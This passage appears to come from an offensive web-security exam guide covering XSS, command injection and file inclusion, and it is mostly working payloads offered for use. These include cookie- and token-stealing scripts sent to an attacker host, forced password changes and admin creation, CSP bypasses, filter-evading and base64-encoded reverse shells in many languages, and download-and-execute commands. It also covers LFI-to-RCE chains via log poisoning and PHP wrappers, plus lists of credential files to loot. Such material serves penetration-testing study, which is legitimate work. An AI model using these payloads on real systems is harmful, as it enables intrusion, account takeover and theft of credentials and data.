<!-- Password change variant (when the app does not require the current password) -->
<script>
fetch('/settings',{credentials:'include'}).then(r=>r.text()).then(t=>{
  var tok=/name="_token" value="([^"]+)"/.exec(t)[1];
  fetch('/settings/password',{method:'POST',credentials:'include',
    headers:{'Content-Type':'application/x-www-form-urlencoded'},
    body:'password=Pwned123!&password_confirm=Pwned123!&_token='+tok});
});
</script>
<!-- API/JWT theft from storage when the app is a SPA -->
<script>
fetch('https://ATTACKER/t?j='+btoa(localStorage.getItem('access_token')),{mode:'no-cors'});
</script>

Forced admin action (when the victim is an admin):

<!-- Create a new admin user through the admin API using the victim's session -->
<script>
fetch('/admin/users',{method:'POST',credentials:'include',
 headers:{'Content-Type':'application/json'},
 body:'{"username":"pwn","password":"Pwn123!","role":"admin"}'});
</script>

8.1.10 Blind XSS

The payload lands somewhere you never see: an admin dashboard, a log viewer, a CRM, a PDF generator, a support ticket. Detection requires a callback.

Inject into every field an internal user might read: User-Agent, Referer, X-Forwarded-For, contact-form message, username at registration, filename at upload, HTTP Host, feedback text, coupon codes.

<!-- Minimal callback probe: loads your JS if it renders anywhere -->
<script src="https://COLLAB/b.js"></script>
<!-- Tag-less-friendly variants for attribute and script contexts -->
"><script src=//COLLAB></script>
'-eval(atob('aW1wb3J0KCcvL0NPTExBQicp'))-'
<img src=x onerror="import('//COLLAB')">
// b.js — report where it fired, with enough context to write the finding
new Image().src='https://COLLAB/r?u='+encodeURIComponent(location.href)
  +'&c='+encodeURIComponent(document.cookie)
  +'&d='+encodeURIComponent(document.domain)
  +'&h='+encodeURIComponent(btoa(document.documentElement.innerHTML.slice(0,2000)));

Infrastructure: Burp Collaborator (Copy to clipboard a unique subdomain per field so you know which field fired), interactsh-client -v, or XSS Hunter-style self-hosted. Tag each injection: <script src=//COLLAB/field-username.js></script>.

8.1.11 mXSS (mutation XSS)

The sanitiser and the parser disagree. Markup that is inert as a string becomes live after the browser re-serialises it through innerHTML. Typical triggers: namespace confusion (<svg>/<math> foreign content), unclosed attributes in <noscript>/<template>, and entity re-decoding.

<!-- Sanitiser sees a harmless <p> inside <svg>; the parser breaks out of foreign content -->
<svg></p><style><a id="</style><img src=x onerror=alert(1)>">
<!-- Namespace confusion via <math>/<mtext> — classic DOMPurify-era mXSS shape -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
<!-- noscript mutation: content is text when scripting is on, markup when it is off -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

Practical exam relevance: if a client-side sanitiser (DOMPurify, sanitize-html, a hand-rolled regex) is in play and standard payloads are stripped, check the library version and test nesting svg/math/style/template combinations. Do not burn more than a few minutes here unless the question explicitly points at a sanitiser.

8.1.12 Content Security Policy — basics and bypasses

CSP is a response header that whitelists where script/style/objects may come from. It is a mitigation, not a fix.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'none'

Read the policy first: curl -sI https://target/ | grep -i content-security-policy, or paste it into Google's CSP Evaluator.

Weakness in the policyWhy it failsBypass payload
script-src includes 'unsafe-inline'Inline handlers allowed — CSP does nothing for XSSAny normal payload
script-src includes 'unsafe-eval'eval/Function allowed<script src=self-hosted></script> not needed; use existing gadgets
Whitelisted host serves a JSONP endpointJSONP returns attacker-named callback as JS<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
Whitelisted CDN hosts a vulnerable library (AngularJS)Template-injection gadget on-origin<script src="//cdn/angular.js"></script><div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
object-src missing / not 'none'Flash/plugin or <embed> data: URI<object data="data:text/html,<script>alert(1)</script>">
base-uri missing + nonce in useInject <base> to relocate relative script URLs to your host<base href="https://ATTACKER/">
Nonce is static / reused across responsesCopy the nonce from the page into your payload<script nonce="COPIED_NONCE">alert(1)</script>
Nonce is reflected in the response bodyRead it from your own reflectioninject <script nonce=" + reflected nonce + ">
'strict-dynamic' with an injectable script loaderA trusted script creates yoursabuse the loader's parameters
Policy only on some responsesFind an endpoint without the header (error page, file download, API)host the payload there
script-src 'self' + a file-upload that serves JSUpload a .js/.txt served same-origin<script src="/uploads/p.js"></script>
script-src 'self' + open redirect on-originRedirect chains inherit the source origin in some parsers<script src="/redirect?url=https://ATTACKER/p.js"></script>
CSP present but report-onlyContent-Security-Policy-Report-Only never blocksAny payload
default-src set but script-src overrides with *Wildcard<script src=//ATTACKER/p.js>
<!-- Data exfiltration when script executes but connect-src/img-src are locked down:
     CSP violation reports and DNS prefetch leak data -->
<link rel=dns-prefetch href="//SECRET.COLLAB">
<!-- Exfil one bit at a time with a nested iframe + CSP, or simply navigate: -->
<script>location='https://ATTACKER/?c='+document.cookie</script>

Note: navigation-to / top-level navigation is governed by form-action and frame-ancestors, not connect-src — a plain location= exfil often works when fetch is blocked.

8.1.13 CSS injection (no-script exfiltration)

When you control CSS but not script, you can still steal data character-by-character with attribute selectors.

/* Leaks the CSRF token one prefix at a time — one rule per candidate character */
input[name="csrf"][value^="a"]{background:url(https://ATTACKER/leak?c=a)}
input[name="csrf"][value^="b"]{background:url(https://ATTACKER/leak?c=b)}
/* @import chaining automates the above: each round pulls the next stylesheet */
@import url(https://ATTACKER/next.css);

8.1.14 Delivery

<!-- Reflected XSS in a POST parameter: auto-submitting form delivers it via a GET click -->
<html><body onload="document.f.submit()">
<form name="f" method="POST" action="https://target/search">
  <input type="hidden" name="q" value='"><svg onload=fetch("https://ATTACKER/?c="+document.cookie)>'>
</form></body></html>
# Reflected XSS as a clickable URL (URL-encode the payload once)
https://target/search?q=%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E

Exam tips

  • Try first: canary string → read the raw response → pick the context row from 8.1.3. Context identification is 90% of XSS.
  • Biggest time sink: firing <script>alert(1)</script> at every parameter and concluding "filtered" when in fact you are inside a JS string (needs ';alert(1)//, no angle brackets) or an unquoted attribute (needs a space, no angle brackets). Second biggest: chasing a DOM XSS with server-side tooling when the payload lives after # and never leaves the browser.
  • What proves it: alert(document.domain) popping on the target origin, captured in a screenshot with the URL bar visible. For blind XSS, the Collaborator/interactsh hit with the page URL and document.domain in it. For reports, the account-takeover or cookie-exfil PoC, not alert(1).
  • If alert() appears to do nothing, the page may be inside a sandboxed iframe or the payload may be running in a different origin — use print() or a Collaborator fetch, which cannot be silently swallowed.

8.2 Command Injection

The application passes user input into a shell (system(), exec(), popen(), shell_exec(), passthru(), ` `, os.system, subprocess.call(..., shell=True), Runtime.getRuntime().exec with a shell wrapper, child_process.exec, IO.popen, Process.Start("cmd.exe","/c "+x)). Your input is concatenated into the command line, so you inject shell metacharacters to append or substitute a command of your own.

Where it hides: ping/traceroute/nslookup "network tools", file conversion (ImageMagick, ffmpeg, LibreOffice, pdftk, wkhtmltopdf), backup/archive features, git/svn wrappers, mail senders (sendmail -t), DNS/WHOIS lookups, log viewers, "run report" and "test connection" buttons, filenames passed to CLI tools, and any parameter whose value looks like a hostname, IP, filename, or path.

Command injection vs argument injection: if metacharacters are filtered but your value is still concatenated onto a command line, you may still control flags. --output=/var/www/html/s.php, -o, curl -K, tar --checkpoint-action=exec=sh, ssh -o ProxyCommand=... are all RCE without a single metacharacter.

8.2.1 Detection operators

OperatorMeaningLinux/UnixWindows cmd.exeWindows PowerShellRuns original command?
;Sequential separatorYesNo (not a separator in cmd)YesYes
&&Run if previous succeededYesYesYes (PS 7+)Yes
||Run if previous failedYesYesYes (PS 7+)Yes (and you want it to fail)
&Background / separatorYes (backgrounds)Yes (separator)Yes (PS 7+)Yes
|Pipe stdout into nextYesYesYesOutput replaced
`cmd`Backtick substitutionYes (sh/bash)NoNo (backtick is escape char)Substituted inline
$(cmd)Command substitutionYesNoYes ($(...) is subexpression)Substituted inline
newline %0aStatement separatorYesYesYesYes
%0d%0aCRLFYesYesYesYes
$IFSField separator (space substitute)YesNoNon/a
%0a in a filename/argBreaks single-line contextsYesYesYesYes

URL-encode when injecting via a query string or form body: ;=%3b, &=%26, |=%7c, `=%60, newline=%0a, space=%20. & and ; must be encoded in a URL query or they terminate the parameter instead.

# Quick detection ladder — send each in turn against a parameter, watch for extra output
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1 || id
127.0.0.1 & id
127.0.0.1`id`
127.0.0.1$(id)
127.0.0.1%0aid
# If your input is inside quotes in the backend command, break out first
"; id; #            # double-quoted context:  ping -c1 "$host"
'; id; #            # single-quoted context:  ping -c1 '$host'
"; id; echo "       # balanced breakout, keeps the command syntactically valid
# Windows equivalents
127.0.0.1 & whoami
127.0.0.1 && whoami
127.0.0.1 | whoami
127.0.0.1 || whoami
127.0.0.1 %0a whoami

Confirmation beats detection: id, whoami, hostname, uname -a all produce distinctive, unmistakable output. Arithmetic does not work here — use a command whose output cannot be mistaken for application text.

8.2.2 Blind detection

When output is not reflected (the page shows only "Host is up"), use time or out-of-band.

Time-based:

# Linux — 10 s delay proves execution. Compare against a control request.
127.0.0.1; sleep 10
127.0.0.1 && sleep 10
127.0.0.1 | sleep 10
127.0.0.1$(sleep 10)
127.0.0.1`sleep 10`
%0asleep%2010
# No sleep binary? ping loopback the same number of times.
127.0.0.1; ping -c 10 127.0.0.1
:: Windows — timeout needs a TTY; ping is the reliable delay primitive
127.0.0.1 & ping -n 11 127.0.0.1
127.0.0.1 & timeout /t 10
127.0.0.1 & powershell -c "Start-Sleep -s 10"

Out-of-band (DNS/HTTP callback) — more reliable than timing and works through queues and async workers:

# DNS callback: shortest, survives egress filtering that blocks TCP but allows DNS
127.0.0.1; nslookup COLLAB
127.0.0.1; dig COLLAB
127.0.0.1; host COLLAB
127.0.0.1; ping -c1 COLLAB
127.0.0.1; curl https://COLLAB
127.0.0.1; wget -q -O- https://COLLAB
# Exfiltrate data inside the DNS label (no output channel needed)
127.0.0.1; nslookup `whoami`.COLLAB
127.0.0.1; nslookup $(whoami).COLLAB
127.0.0.1; curl https://COLLAB/$(id|base64 -w0)
# Long / multiline output: base64 and strip padding + newlines, then chunk
127.0.0.1; curl -X POST -d "$(cat /etc/passwd|base64 -w0)" https://COLLAB
:: Windows OOB
127.0.0.1 & nslookup COLLAB
127.0.0.1 & certutil -urlcache -f http://COLLAB/x x
127.0.0.1 & powershell -c "iwr http://COLLAB/$env:USERNAME"

8.2.3 Output redirection to a readable file

If the app is a web server and you can write inside the webroot, dump the output where you can read it over HTTP.

# Write command output into the webroot, then browse to it
127.0.0.1; id > /var/www/html/o.txt
127.0.0.1; ls -la / > /var/www/html/o.txt
127.0.0.1; cat /etc/passwd > /var/www/html/o.txt 2>&1
# Then: curl https://target/o.txt
# Find a writable, web-served directory first
127.0.0.1; ls -ld /var/www/html /var/www /usr/share/nginx/html /srv/http > /var/www/html/o.txt
127.0.0.1; find / -name "*.php" -path "*html*" 2>/dev/null | head > /var/www/html/o.txt
# Uploads directories are usually writable even when the webroot is not
127.0.0.1; id > /var/www/html/uploads/o.txt
:: Windows equivalent
127.0.0.1 & whoami > C:\inetpub\wwwroot\o.txt
127.0.0.1 & dir C:\ > C:\xampp\htdocs\o.txt

Always append 2>&1 — the interesting part (permission denied, command not found) is on stderr.

8.2.4 Filter bypasses

BlockedBypassPayload
Space${IFS}cat${IFS}/etc/passwd
Space${IFS%??} (older shells)cat${IFS%??}/etc/passwd
SpaceBrace expansion (commas become spaces){cat,/etc/passwd}
SpaceInput redirectioncat</etc/passwd
SpaceTab %09cat%09/etc/passwd
Space$IFS$9cat$IFS$9/etc/passwd
Space (Windows)%ProgramFiles:~10,1% yields a spacedir%ProgramFiles:~10,1%C:\
Slash /${PATH:0:1} = /cat ${PATH:0:1}etc${PATH:0:1}passwd
Slash${HOME:0:1}cat ${HOME:0:1}etc${HOME:0:1}passwd
Slash$(pwd) when cwd is /n/a — prefer ${PATH:0:1}
Quotes/keyword blacklistInsert empty quotes inside the wordc''at /etc/pas''swd / c""at
Keyword blacklistBackslash inside the wordc\at /etc/pas\swd
Keyword blacklistVariable splicinga=c;b=at;$a$b /etc/passwd
Keyword blacklistPositional/parameter expansion$(rev<<<'dwssap/cte/ tac')
Keyword blacklistWildcards/bin/c?t /etc/pa??wd / /???/c?t /???/p?ssw?
Keyword blacklist${x:-cat} default expansion${a:-cat} /etc/passwd
Keyword blacklistHex/octal via printf$(printf '\x63\x61\x74') /etc/passwd
Everythingbase64 encode/decode chainecho Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
Everythingbase64 with shbash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dk)
Everythinghex chainecho 636174202f6574632f706173737764 | xxd -r -p | bash
. blocked$'\056' or wildcardcurl 10.10.14.5$'\057'x
; & | all blockedNewline%0a / literal \n in a multiline field
; & | blockedCommand substitution only$(id) or `id`
Output of whoami filteredPipe through an encoderid | base64
Length limitWrite a script in pieces, then run itecho -n 'ba' >>/tmp/x; echo 'sh -i' >>/tmp/x; sh /tmp/x
WAF matches /etc/passwdTraversal noisecat /etc/./passwd, cat /etc//passwd, cat /e?c/passwd
Blacklist strips the token onceNest itsshell_exectell style: ccatat, ;; → ;
# The five bypasses that actually clear most exam filters — try in this order
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
c''at /etc/pas''swd
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash
# Full-blind, fully-encoded reverse shell: nothing recognisable on the wire
# 1) build it locally:
echo -n 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' | base64 -w0
#    -> YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQ==
# 2) inject:
;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQ==|base64${IFS}-d|bash

Windows-specific bypasses:

:: Caret escapes arbitrary characters in cmd.exe and defeats simple string matching
who^ami
:: Variable substring extraction builds blocked words at runtime
set a=who& set b=ami& call %a%%b%
:: PowerShell: base64 (UTF-16LE!) encoded command
powershell -enc <BASE64_UTF16LE>
:: Build it on Linux:
:: echo -n 'whoami' | iconv -t UTF-16LE | base64 -w0
:: Case is irrelevant in cmd/PowerShell — WhOaMi works

8.2.5 Escalation to a reverse shell

Listener first:

# Plain listener
nc -lvnp 4444
# Better: rlwrap gives arrow keys and history on the caught shell
rlwrap nc -lvnp 4444
# Best for stability: pwncat-cs auto-upgrades the TTY
pwncat-cs -lp 4444

Linux payloads (URL-encode before injecting; & and ; must be encoded in query strings):

# bash /dev/tcp — no extra binaries required, works on most Linux hosts
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
# Safer to inject: the redirection characters are inside base64
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQ== | base64 -d | bash
# sh variant when bash is absent
sh -i >& /dev/tcp/10.10.14.5/4444 0>&1
# netcat with -e (traditional)
nc -e /bin/sh 10.10.14.5 4444
# netcat without -e (OpenBSD build) — mkfifo backpipe
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f
# ncat with SSL (evades plaintext IDS); listener: ncat --ssl -lvnp 4444
ncat --ssl 10.10.14.5 4444 -e /bin/bash
# Python 3 one-liner
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
# Perl — present on nearly every Linux host
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
// PHP — useful when the injection is already inside a PHP app
php -r '$s=fsockopen("10.10.14.5",4444);$p=proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$pipes);'
# Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.14.5",4444);loop{c.gets.chomp!;(IO.popen($_,"rb"){|io|c.print io.read})rescue c.puts "failed"}'
# Staged: fetch and run a script — shortest injectable payload, bypasses length limits
curl 10.10.14.5/s.sh|bash
wget -qO- 10.10.14.5/s.sh|sh
# Host it: python3 -m http.server 80   with s.sh containing the bash /dev/tcp line
# No egress? Bind shell instead, then connect in.
nc -lvnp 4444 -e /bin/bash
# Connect: nc TARGET 4444

Windows payloads:

# PowerShell TCP reverse shell (classic Nishang one-liner, inlined)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"
:: Encoded form — build with: echo -n '<the -c payload>' | iconv -t UTF-16LE | base64 -w0
powershell -nop -w hidden -enc <BASE64_UTF16LE>
:: Download-and-execute (needs an SMB or HTTP host)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/r.ps1')"
certutil -urlcache -split -f http://10.10.14.5/nc.exe C:\Windows\Temp\nc.exe & C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe
:: Native nc.exe reverse shell
nc.exe 10.10.14.5 4444 -e cmd.exe

TTY upgrade after catching a Linux shell (do this immediately — without it, su, ssh, and Ctrl-C will break the shell):

# 1) in the reverse shell
python3 -c 'import pty;pty.spawn("/bin/bash")'    # or: script -qc /bin/bash /dev/null
# 2) background it
# Ctrl-Z
# 3) on your local box
stty raw -echo; fg
# 4) back in the shell
export TERM=xterm; stty rows 50 columns 200

Exam tips

  • Try first: ;id then |id then `id` then %0aid, in that order, URL-encoded. If the parameter is a hostname, also try 127.0.0.1|id — some wrappers validate that the value starts with a valid host.
  • Biggest time sink: assuming no injection because nothing changed on screen. Most exam command injection is blind. Move to sleep 10 and a Collaborator DNS lookup within the first three requests, not the thirtieth.
  • Second time sink: forgetting to URL-encode & and ; in a query string, so the web server splits your parameter and the payload never reaches the shell.
  • On Windows remember ; is not a separator — &, &&, ||, | and newline are.
  • What proves it: id/whoami output rendered in the response, a measured ~10 s delta against a control request, or a Collaborator DNS hit containing $(whoami) output in the subdomain. A reverse shell with id run interactively is the strongest evidence.
  • If a reverse shell will not connect, test egress first: curl https://COLLAB from the injection. If DNS works but TCP does not, you are behind an egress filter — try port 80/443 for the callback before debugging your payload.

8.3 Local & Remote File Inclusion / Path Traversal

Three related bugs with one root cause: a filesystem path is built from user input.

BugSinkResult
Path traversal / arbitrary file readreadfile(), file_get_contents(), fopen(), open(), File.read, sendFile()File contents disclosed
LFIinclude/require/include_once (PHP), render/partial (Ruby/Node)File is executed as code
RFIsame, with a remote URLAttacker code executed

In PHP the distinction matters enormously: readfile($_GET['f']) gives you source code; include($_GET['f']) gives you RCE if you can get any PHP into any file on disk.

Typical parameter names: file, page, path, doc, document, template, view, include, inc, lang, locale, theme, skin, style, download, read, filename, name, folder, pg, cat, action, module, conf, img, report, pdf.

8.3.1 Detection and the traversal ladder

# Step 1: does the parameter touch the filesystem? Compare responses.
?file=index.php          # normal
?file=nonexistent        # error / different length -> filesystem interaction
?file=/etc/passwd        # absolute path (works when there is no prefix directory)

Work up the ladder until one returns root:x:0:0::

# Traversal ladder — increase depth until it lands
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../../../../../../../etc/passwd      # over-traverse: extra ../ are harmless
# Encoding ladder — apply when plain ../ is filtered
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd             # URL-encoded  ../
%252e%252e%252ff                                     # double-encoded (proxy/app decodes twice)
..%2f..%2f..%2fetc%2fpasswd                          # mixed
..%c0%af..%c0%af..%c0%afetc%2fpasswd                 # overlong UTF-8 (legacy)
%c0%ae%c0%ae/                                        # overlong dot
..%255c..%255c                                       # double-encoded backslash (Windows/IIS)
....//....//....//etc/passwd                         # non-recursive strip of "../" collapses to ../
....\/....\/etc/passwd                               # variant for mixed-separator handling
..././..././etc/passwd                               # strip of "./" collapses to ../
..;/..;/..;/etc/passwd                               # Tomcat/Spring path-parameter trick
/%2e%2e/%2e%2e/etc/passwd
# Absolute-path bypass when the app prepends a fixed directory but does not force it
/var/www/images/../../../etc/passwd                  # start inside the expected dir, then climb
# Non-recursive filter of the string "/etc/passwd"
/etc/./passwd  |  /etc//passwd  |  /./etc/./passwd

8.3.2 Prefix and suffix constraints

Backend codeConstraintBypass
include("pages/".$p)Forced prefix directoryTraverse out: ../../../etc/passwd
include($p.".php")Forced extension appendedNull byte %00 (PHP < 5.3.4 only)
include($p.".php")Forced extension, modern PHPPath truncation (PHP < 5.3) or use a wrapper that ignores it: php://filter/.../resource= still appends — instead include a file that is .php, or use log poisoning targets ending .php
include($p.".php")Forced extensionPoint at a file that already ends in .php, or append a path-terminating ?/# when the sink is a URL (RFI): http://ATTACKER/s.txt?
include("pages/".$p.".php")BothCombine: ../../../../var/log/apache2/access.log%00 (old PHP) or target .php files
Whitelist "must start with pages/"Prefix check onlypages/../../../etc/passwd
Whitelist "must contain .php"Substring check../../../etc/passwd%00.php or ..../etc/passwd#.php
Blacklist of ../Non-recursive....// , ..%2f , %252e%252e%252f
# Null-byte termination (PHP < 5.3.4, still common in labs and legacy targets)
?file=../../../../etc/passwd%00
?file=../../../../etc/passwd%00.php
# Path truncation (PHP < 5.3): pad past PATH_MAX (4096) so the appended ".php" is cut off
?file=../../../../etc/passwd/./././././././././././././././././././././././././././.
?file=../../../../etc/passwd..............................................................

8.3.3 PHP wrappers — the LFI multiplier

Check allow_url_include / allow_url_fopen indirectly by testing each wrapper.

WrapperPurposeNeeds allow_url_include
php://filterRead/transform a local file (source disclosure, RCE via chain)No
php://inputBody of the request becomes the included fileYes
data://Inline payload in the URLYes
expect://Direct command executionexpect extension (rare)
zip:// / phar://Read/execute a file inside an archive you uploadedNo
file://Explicit local fileNo
glob://Directory listingNo
phar://Deserialisation trigger on file-opNo
http:// / ftp://RFIYes (for include)
# Source disclosure — base64 so PHP tags are not executed/stripped
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=../config/database.php
# Then: echo '<b64>' | base64 -d
# ROT13 variant when base64 is filtered
?file=php://filter/read=string.rot13/resource=index.php
# Chained filters are allowed (applied left to right)
?file=php://filter/convert.iconv.utf-8.utf-16|convert.base64-encode/resource=index.php
# php://input — the POST body is included and executed as PHP
POST /?file=php://input HTTP/1.1
Host: target
Content-Length: 41

<?php system($_GET['c']); ?>
# Then: POST /?file=php://input&c=id
# data:// — payload inline. base64 form avoids breaking on special characters.
?file=data://text/plain,<?php system($_GET['c']);?>&c=id
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id
# (PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+  ==  <?php system($_GET['c']);?>)
# expect:// — direct execution, no file write needed (expect extension must be loaded)
?file=expect://id
?file=expect://ls%20-la%20/
# zip:// — upload a zip containing shell.php, then include the member
# Build:  echo '<?php system($_GET["c"]); ?>' > s.php && zip s.zip s.php && mv s.zip s.jpg
?file=zip://uploads/s.jpg%23s.php&c=id           # %23 is the literal '#' separator
# phar:// — same idea, and also triggers PHP object deserialisation on any file op
?file=phar://uploads/s.jpg/s.php&c=id
# glob:// — enumerate directories when you have no directory-listing primitive
?file=glob:///var/www/html/*

php://filter chain to RCE (no file write required): chained convert.iconv filters can be abused to construct arbitrary bytes (including <?php) at the head of the included stream, turning any include($_GET['f']) into RCE even with no writable path and no allow_url_include. Generate the chain with the public php_filter_chain_generator tool:

# Generates a single php://filter/... value that yields <?php system($_GET["c"]);?>
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Paste the output into the vulnerable parameter, then add &c=id

8.3.4 LFI to RCE — decision tree

Can you include a file you control the contents of?
├─ allow_url_include=On ................ php://input  or  data://       -> immediate RCE
├─ expect extension loaded ............. expect://id                    -> immediate RCE
├─ php://filter chain works ............ filter-chain generator         -> RCE, no write
├─ You can upload any file ............. include the upload directly    -> RCE (see 8.4)
│                                        or zip://  /  phar://
├─ You can reach a log file ............ log poisoning (8.3.5)          -> RCE
├─ PHP sessions are on disk ............ session file poisoning (8.3.6) -> RCE
├─ /proc/self/environ readable ......... User-Agent poisoning           -> RCE
├─ Mail spool readable ................. send mail with PHP in it       -> RCE
└─ None of the above ................... stay at arbitrary file read; loot credentials
                                          (8.3.8) and pivot (DB creds, SSH keys, .env)

8.3.5 Log poisoning

Write PHP into a file the server already writes, then include it.

# 1) Poison the Apache access log via the User-Agent header
GET / HTTP/1.1
Host: target
User-Agent: <?php system($_GET['c']); ?>
# 2) Include the log and pass the command
?file=../../../../var/log/apache2/access.log&c=id
?file=../../../../var/log/apache/access.log&c=id
?file=../../../../var/log/httpd/access_log&c=id
?file=../../../../var/log/nginx/access.log&c=id
?file=../../../../xampp/apache/logs/access.log&c=id        # Windows XAMPP
?file=../../../../var/log/apache2/error.log&c=id           # poison via a 404 with PHP in the path
# Error-log poisoning: request a non-existent path containing PHP (URL-encode it)
curl "https://target/%3C%3Fphp%20system(\$_GET['c'])%3B%3F%3E"
# then include ../../../var/log/apache2/error.log
# 3) SSH auth.log poisoning — the username is logged verbatim on failure
ssh '<?php system($_GET["c"]); ?>@target'
# then include ../../../../var/log/auth.log&c=id
# 4) /proc/self/environ — the running PHP process environment includes HTTP_USER_AGENT
GET /?file=../../../../proc/self/environ&c=id HTTP/1.1
User-Agent: <?php system($_GET['c']); ?>
# Works only when the sink runs as the same process (mod_php / some CGI setups)
# 5) Other self-referential /proc targets worth trying
../../../../proc/self/cmdline      # how PHP was invoked
../../../../proc/self/fd/0         # ..fd/1 ..fd/2 .. sometimes map to logs
../../../../proc/self/status
../../../../proc/net/tcp           # open connections — find internal services

Practical note: access logs are huge and the include will be slow and noisy. Send the poisoned request immediately before the include so your payload is near the end, and if the page times out, target the error log (much smaller) instead.

8.3.6 PHP session file inclusion

# 1) Find the session path (often in phpinfo, else try both)
/var/lib/php/sessions/sess_<PHPSESSID>
/var/lib/php5/sess_<PHPSESSID>
/tmp/sess_<PHPSESSID>
C:\Windows\Temp\sess_<PHPSESSID>
# 2) Get your payload written into the session — any parameter the app stores in $_SESSION
#    (a username, a language preference, a search term, a "remember" field)
POST /login  ->  username=<?php system($_GET['c']); ?>
# 3) Include your own session file (PHPSESSID is in your cookie jar)
?file=../../../../var/lib/php/sessions/sess_k7p2q9...&c=id

8.3.7 Remote File Inclusion (RFI)

Requirements in PHP: allow_url_include=On and allow_url_fopen=On. Rare on modern hosts, common in labs and in non-PHP stacks (JSP <jsp:include>, ASP Server.Execute, Node template loaders).

# Host the payload, then include it. Use a .txt extension so YOUR server does not execute it.
?file=http://10.10.14.5/s.txt&c=id
?file=http://10.10.14.5/s.txt%00                 # kill an appended extension (old PHP)
?file=http://10.10.14.5/s.txt?                   # '?' makes the appended ".php" a query string
?file=//10.10.14.5/s.txt                         # protocol-relative, dodges "http" blacklists
?file=http:/\/\10.10.14.5/s.txt                  # filter-evasion variant
?file=hTtP://10.10.14.5/s.txt                    # case variation
?file=ftp://10.10.14.5/s.txt
?file=\\10.10.14.5\share\s.php                   # Windows SMB — also captures NetNTLM hashes
// s.txt contents
<?php system($_GET['c']); ?>
# Serve it
python3 -m http.server 80
# SMB variant (also useful for hash capture with responder)
impacket-smbserver share ./ -smb2support

8.3.8 High-value files to read

Linux

FileWhy
/etc/passwdConfirms read; enumerates users and shells
/etc/shadowHashes (needs root)
/etc/hosts, /etc/hostnameInternal names for pivoting
/etc/issue, /etc/os-releaseOS fingerprint
/etc/crontab, /etc/cron.d/*Scheduled jobs → privesc
/etc/apache2/sites-enabled/000-default.confWebroot, vhosts, aliases
/etc/nginx/nginx.conf, /etc/nginx/sites-enabled/defaultSame for nginx
/etc/httpd/conf/httpd.confRHEL/CentOS Apache
/etc/php/8.1/apache2/php.iniallow_url_include, open_basedir, disable_functions
/etc/mysql/my.cnf, /etc/my.cnfDB config, sometimes credentials
/etc/ssh/sshd_configAuth policy, PermitRootLogin
/root/.ssh/id_rsa, /home/<user>/.ssh/id_rsaDirect shell
/home/<user>/.ssh/authorized_keysTarget for write-primitives
/home/<user>/.bash_historyCommands, often with inline passwords
/root/.bash_historySame, higher value
/proc/self/environEnv vars + injectable via User-Agent
/proc/self/cmdline, /proc/version, /proc/net/tcpProcess/kernel/network recon
/var/log/apache2/access.log, error.logLog poisoning targets
/var/log/auth.logSSH poisoning target
/var/mail/<user>, /var/spool/mail/<user>Mail poisoning target
/var/www/html/config.php, wp-config.php, configuration.php, .envApp DB credentials
/var/www/html/.git/config, .git/HEADSource repo → dump the tree
/opt/*, /srv/*Custom app installs
/etc/fstabMounted shares and creds

Windows

FileWhy
C:\Windows\System32\drivers\etc\hostsConfirms read, no privileges required
C:\Windows\win.ini, C:\Windows\system.iniClassic read-confirmation target
C:\Windows\repair\SAM, C:\Windows\repair\SYSTEMOffline hash extraction
C:\Windows\System32\config\SAM, SYSTEM, SECURITYLocked while running; try shadow copies
C:\Windows\Panther\Unattend.xml, Unattended.xmlPlaintext/base64 local admin password
C:\Windows\System32\sysprep\sysprep.xmlSame
C:\inetpub\wwwroot\web.configConnection strings, machine keys
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.logIIS logs (poisoning / recon)
C:\xampp\apache\conf\httpd.conf, C:\xampp\php\php.iniXAMPP config
C:\xampp\mysql\bin\my.iniDB config
